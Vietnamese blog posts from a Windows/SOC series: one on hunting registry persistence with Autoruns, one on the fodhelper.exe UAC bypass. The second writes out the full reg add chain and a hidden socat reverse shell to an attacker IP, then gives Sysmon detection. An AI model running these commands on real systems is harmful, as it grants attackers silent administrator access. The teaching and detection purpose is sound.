Malware Analysis on Roduygo | Blog

Săn lùng Malware trong Registry

Fri, 08 May 2026 16:40:00 +0700

Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS & SOC Analytics! Ở bài viết trước, chúng ta đã hiểu cơ chế hoạt động của Registry. Hôm nay, chúng ta sẽ bước vào một cuộc chiến thực sự: Săn lùng Malware. Một trong những mục tiêu tối thượng của mã độc sau khi xâm nhập thành công là Duy trì sự hiện diện (Persistence) - đảm bảo rằng dù người dùng có tắt máy hay khởi động lại, mã độc vẫn sẽ tự động kích hoạt. Nơi ẩn nấp lý tưởng nhất chính là Registry. Hãy cùng trang bị “vũ khí” PowerShell Autoruns để bóc trần những điểm neo này!

1. Kỹ thuật “Cắm chốt” kinh điển: Auto Run Keys

Hầu hết các phần mềm độc hại, từ cơ bản đến phức tạp, đều lợi dụng các khóa tự khởi động (Auto Run) do Microsoft thiết kế để kích hoạt cùng hệ thống. Các khóa này được chia theo cấp độ phân quyền:

Mức độ người dùng (User Level): HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Khóa này chỉ chạy mã độc khi người dùng hiện tại đăng nhập và không yêu cầu quyền Admin để ghi dữ liệu.
Mức độ hệ thống (Machine Level): HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. Khóa này chạy cho mọi người dùng trên máy nhưng bắt buộc mã độc phải có quyền Administrator hoặc SYSTEM mới có thể ghi vào đây. Việc mã độc ghi thành công vào khóa này chứng tỏ hệ thống đã bị leo thang đặc quyền.
Khóa “Dùng một lần” (RunOnce): Tương tự như Run, nhưng hệ điều hành sẽ tự động xóa giá trị này ngay sau khi thực thi. Malware tinh vi thường dùng RunOnce để thực hiện các tập lệnh dọn dẹp dấu vết hoặc cài đặt sâu hơn vào hệ thống.

Góc nhìn SOC: Khi mã độc ghi đè hoặc tạo mới giá trị thông qua các API như RegSetValueEx, Windows sẽ ghi nhận sự kiện với Event ID 4657 (A registry value was modified), trong khi Sysmon sẽ ghi nhận Event ID 13 (Registry Value Set). Riêng với khóa RunOnce, bạn sẽ thấy log nổ ra 2 lần (một lần lúc tạo và một lần lúc Windows tự xóa), tương ứng với Sysmon ID 13 và Sysmon ID 12 (Object Deleted).

2. Kỹ thuật ăn bám tiến trình hệ thống: Winlogon & Userinit

Thay vì tạo ra một khóa Registry mới dễ bị phát hiện, những kẻ tấn công khôn ngoan hơn sẽ “ký sinh” vào các tiến trình đăng nhập cốt lõi của Windows là Winlogon.

Hacker thường nhắm vào hai đường dẫn sau tại HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon:

2.1 Ký sinh qua Userinit

Mặc định, giá trị của khóa Userinit chỉ đơn giản là userinit.exe. Tuy nhiên, khóa này có một tính năng đặc biệt (Comma-separated) cho phép nối nhiều đường dẫn với nhau bằng dấu phẩy. Hacker chỉ cần âm thầm chèn thêm một đoạn như userinit.exe, C:\Users\Administrator\AppData\Local\Temp\789a.bat. Kết quả là hệ thống sẽ tự động “rước” mã độc vào máy một cách hoàn toàn hợp lệ ngay sau khi người dùng nhập mật khẩu.

2.2 Đánh tráo giao diện (Shell)

Khóa Shell có nhiệm vụ gọi giao diện màn hình làm việc (mặc định là explorer.exe). Kẻ tấn công có thể thay thế hoàn toàn explorer.exe bằng mã độc của chúng, hoặc nối thêm như explorer.exe, C:\windows\temp\malware.exe.

3. Bóng ma “Cửa sau”: Image File Execution Options (IFEO)

IFEO (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\) vốn là một tính năng được Microsoft thiết kế để các nhà phát triển gỡ lỗi (debug) ứng dụng của họ. Nhưng trong tay Hacker, IFEO biến thành công cụ leo thang đặc quyền và duy trì sự hiện diện cực kỳ đáng sợ.

Kịch bản tấn công Sticky Keys khét tiếng: Hacker sẽ tạo một khóa con mang tên sethc.exe (chương trình phím dính - Sticky Keys hiện lên khi bạn bấm Shift 5 lần) bên trong IFEO. Tại đây, chúng thêm một giá trị Debugger trỏ thẳng tới cmd.exe.

Kết quả? Ngay tại màn hình khóa Windows (khi chưa cần đăng nhập), hacker chỉ cần bấm phím Shift 5 lần. Thay vì hiện ra bảng Sticky Keys, hệ thống sẽ mở ra một cửa sổ Command Prompt với quyền lực tối cao là SYSTEM, cho phép hacker kiểm soát hoàn toàn máy tính!

4. Thực chiến: Săn lùng Malware với PowerShell Autoruns

Việc mở regedit.exe lên và kiểm tra bằng tay từng khóa là điều không tưởng đối với một SOC Analyst. Đó là lúc chúng ta cần đến Autoruns - một công cụ cực mạnh giúp soi quét mọi ngóc ngách tự khởi động của hệ thống.

Trong môi trường PowerShell, bạn có thể gọi module Get-PSAutorun kết hợp với tham số kiểm tra chữ ký số và xuất ra dạng bảng (GridView) để dễ theo dõi:

Get-PSAutorun -VerifyDigitalSignature | Out-GridView

Khi bảng dữ liệu hiện lên, bạn cần “lia mắt” ngay đến các cột sinh tử sau:

Signed (Đã ký số): Nếu giá trị là False, hãy báo động đỏ! Mã độc hiếm khi có chữ ký số hợp lệ của các nhà phát hành uy tín.
IsOSBinary: Nếu là True, Windows xác nhận đây là tệp tin lõi của hệ điều hành.
Publisher: Thông thường các tệp an toàn sẽ ghi là CN=Microsoft Windows, O=Microsoft Corporation. Nếu cột này bị để trống hoặc ghi một cái tên mờ ám, đó là mục tiêu cần điều tra ngay.

4.1 Kỹ thuật so sánh Baseline (Điểm chuẩn)

Một kỹ năng cao cấp của Blue Team là so sánh Registry hiện tại với một bản sao lưu (Baseline) khi máy tính còn “sạch”.

# Bỏ qua các file chuẩn của OS và tạo bản Baseline
Get-PSAutorun -VerifyDigitalSignature | Where { -not($_.isOSbinary)} | New-AutoRunsBaseLine -Verbose

# So sánh hệ thống hiện tại với bản Baseline cũ
Compare-AutoRunsBaseLine -Verbose | Out-GridView

Bằng lệnh so sánh này, mọi khóa Userinit bị chèn thêm mã độc (như file .bat hay .ps1) hoặc các khóa Run mới mọc lên sẽ bị phơi bày lập tức trong một cửa sổ GridView tách biệt, giúp bạn chẩn đoán hệ thống chỉ trong vài giây.

Windows Registry là một bãi mìn thực sự, nơi mã độc và hệ thống cài răng lược vào nhau. Việc làm chủ các điểm neo Persistence và thành thạo PowerShell Autoruns sẽ giúp bạn bóc tách được những vỏ bọc tinh vi nhất. Ở bài viết tiếp theo, chúng ta sẽ tìm hiểu cách mã độc vượt rào bảo mật bằng kỹ thuật UAC Bypass. Hãy cùng đón chờ!

Kỹ thuật UAC Bypass

Fri, 08 May 2026 12:00:00 +0700

Chào mừng các bạn quay trở lại với Series Giải phẫu Windows OS & SOC Analytics! Hôm nay, chúng ta đã tìm hiểu UAC là “người gác cổng” tuyệt vời với cơ chế Secure Desktop và Integrity Levels. Tuy nhiên, không có hệ thống nào là bất khả xâm phạm. Hôm nay, chúng ta sẽ trực tiếp đóng vai Hacker, lợi dụng chính những tính năng “tiện lợi” do Microsoft thiết kế để vượt mặt UAC một cách im lặng tuyệt đối (UAC Bypass), đồng thời học cách Blue Team “bắt tại htrận” ành vi này bằng Sysmon.

1. “Gót chân Achilles” của UAC: Tính năng AutoElevation

Để tránh làm phiền người dùng với quá nhiều bảng thông báo Yes/No, Microsoft đã thiết kế một tính năng gọi là Tự động nâng quyền (AutoElevation). Một số tệp thực thi cốt lõi của Windows (như msconfig.exe hay fodhelper.exe) được khai báo cờ autoElevate bên trong tệp kê khai (manifest) của chúng. Khi những phần mềm này chạy, Windows tự động cấp cho chúng quyền Cao nhất (High Integrity) mà không thèm hiện bảng hỏi UAC.

Hacker cực kỳ thích điều này. Nếu chúng có thể “bám đuôi” hoặc lừa một tiến trình autoElevate chạy mã độc hộ mình, mã độc đó sẽ nghiễm nhiên được kế thừa quyền High Integrity.

Tại sao lại là Fodhelper.exe? Fodhelper.exe là một chương trình mặc định của Windows dùng để quản lý các tính năng tùy chọn (như thêm ngôn ngữ). Nó có cờ autoElevate. Nhưng điểm khiến fodhelper.exe trở thành “con mồi” hoàn hảo là: Không giống như msconfig cần phải mở giao diện đồ họa (GUI), fodhelper có thể bị lạm dụng thông qua một giao diện dòng lệnh (CLI) ngầm từ xa với quyền trung bình (Medium Integrity).

2. Cơ chế “Ký sinh”: Registry Hijacking

Điểm yếu chí mạng của fodhelper.exe nằm ở cách nó tìm kiếm ứng dụng để mở. Khi hoạt động, tiến trình này sẽ liên tục quét vào Registry để tìm một khóa cụ thể liên quan đến giao thức ms-settings (URL Protocol mở cửa sổ Settings của Windows).

Đường dẫn mà fodhelper tìm kiếm là: HKCU\Software\Classes\ms-settings\Shell\Open\command

Lỗ hổng nằm ở đâu? Đường dẫn này nằm trong nhánh HKEY_CURRENT_USER (HKCU). Đây là nhánh cấu hình riêng của người dùng hiện tại, do đó không cần quyền Admin vẫn có thể ghi đè vào đây. Hacker (đang ở quyền Medium) chỉ cần ghi đường dẫn mã độc của chúng vào khóa này, sau đó kích hoạt fodhelper.exe. Tiến trình này tự động được nâng lên quyền High Integrity, sau đó nó ngây thơ đọc Registry và chạy mã độc của hacker với quyền lực tối cao.

3. Thực chiến: Đóng vai Hacker lách luật UAC

Bây giờ, chúng ta sẽ thực hiện kịch bản tấn công: Tạo một Reverse Shell (kết nối ngược) về máy chủ của hacker (ví dụ: máy Kali Linux có IP 10.48.95.226) bằng công cụ socat.

Tại cửa sổ CMD quyền thấp (Medium Integrity) trên máy nạn nhân, hacker thực hiện các lệnh sau:

Bước 1: Thiết lập biến môi trường và Tải trọng (Payload)

:: Trỏ đến vị trí Registry mà Fodhelper sẽ đọc
set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

:: Thiết lập mã độc: Dùng PowerShell chạy ẩn công cụ socat để mở cổng 4444 kết nối về máy Hacker
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:10.48.95.226:4444 EXEC:cmd.exe,pipes"

[Ghi chú: Lệnh trên thiết lập mã độc kết nối về IP của Hacker thông qua cổng 4444]

Bước 2: Chìa khóa “DelegateExecute” (Đặt bẫy)

Đây là thủ thuật qua mặt hệ thống tinh vi nhất. Hacker chạy lệnh sau:

reg add %REG_KEY% /v "DelegateExecute" /d "" /f

Lệnh này tạo một giá trị tên là DelegateExecute nhưng để trống. Việc tạo giá trị này nhằm tắt cơ chế COM object chuẩn của Windows (chỉ định mã CLSID), buộc fodhelper phải quay lại đọc giá trị “Mặc định” (Default) của khóa command. Nếu thiếu dòng này, kỹ thuật Bypass sẽ thất bại.

Bước 3: Ghi mã độc và Kích hoạt

:: Ghi đè mã độc vào giá trị mặc định của khóa Registry
reg add %REG_KEY% /d %CMD% /f

:: Khởi chạy fodhelper để nó "cắn câu"
C:\Windows\System32\fodhelper.exe

Ngay khi fodhelper.exe chạy, nó đọc Registry, thấy DelegateExecute trống, bèn gọi lệnh socat. Tại máy Kali Linux đang mở cổng lắng nghe (nc -lvp 4444), Hacker nhận được một Shell với quyền Administrator cao nhất mà màn hình nạn nhân không hề chớp nháy hay hiện bảng UAC nào!

[Ghi chú: Chèn ảnh minh họa cửa sổ Netcat bên máy Kali Linux nhận được kết nối Reverse Shell từ máy Windows vào đây]

4. Góc nhìn SOC: “Bắt tại trận” bằng Sysmon

Hacker có thể qua mặt được UAC, nhưng không thể vô hình trước “mắt thần” Sysmon. Khi kịch bản UAC Bypass via Registry Hijacking này xảy ra, hệ thống Sysmon sẽ nổ ra một chuỗi cảnh báo (Alert) liên tục:

4.1 Bắt quả tang hành vi sửa Registry (Event ID 12 & 13)

Vì hacker phải tạo khóa và ghi giá trị vào Registry, Sysmon sẽ ghi nhận:

Event ID 12 (Registry object added): Ghi nhận việc nhánh ms-settings\Shell\Open\command vừa được tạo mới.
Event ID 13 (Registry value set): Ghi nhận việc một tiến trình lạ vừa đặt giá trị DelegateExecute và chèn mã lệnh powershell... socat... vào Registry.

4.2 Bắt quả tang tiến trình con bất thường (Event ID 1)

Event ID 1 (Process Create) là chốt chặn cuối cùng. Khi xem log, SOC Analyst sẽ thấy một chuỗi logic cực kỳ đáng ngờ:

Tiến trình cha (ParentImage): Là C:\Windows\System32\fodhelper.exe (chạy với IntegrityLevel: High).
Tiến trình con (Image): Lại là powershell.exe hoặc socat.exe.

Một phần mềm quản lý cài đặt ngôn ngữ (fodhelper.exe) lại đi gọi powershell.exe chạy ẩn để gọi tiếp socat.exe kết nối ra IP bên ngoài qua cổng 4444? Đây là dấu hiệu 100% của việc lạm dụng tiến trình hệ thống để leo thang đặc quyền!

Bypass UAC thông qua Fodhelper.exe và Registry Hijacking là một kỹ thuật kinh điển nhưng vẫn vô cùng hiệu quả, minh chứng cho việc hacker biến chính “tính năng” tiện lợi của Windows thành “vũ khí”. Việc hiểu sâu cơ chế này kết hợp với khả năng phân tích Event ID của Sysmon sẽ giúp bạn viết ra những tập luật (Rule) SIEM cực kỳ sắc bén. Ở các bài viết tiếp theo, chúng ta sẽ chính thức bước vào phân tích Network Forensics và cách giải mã các gói tin độc hại. Hãy cùng chờ đón nhé!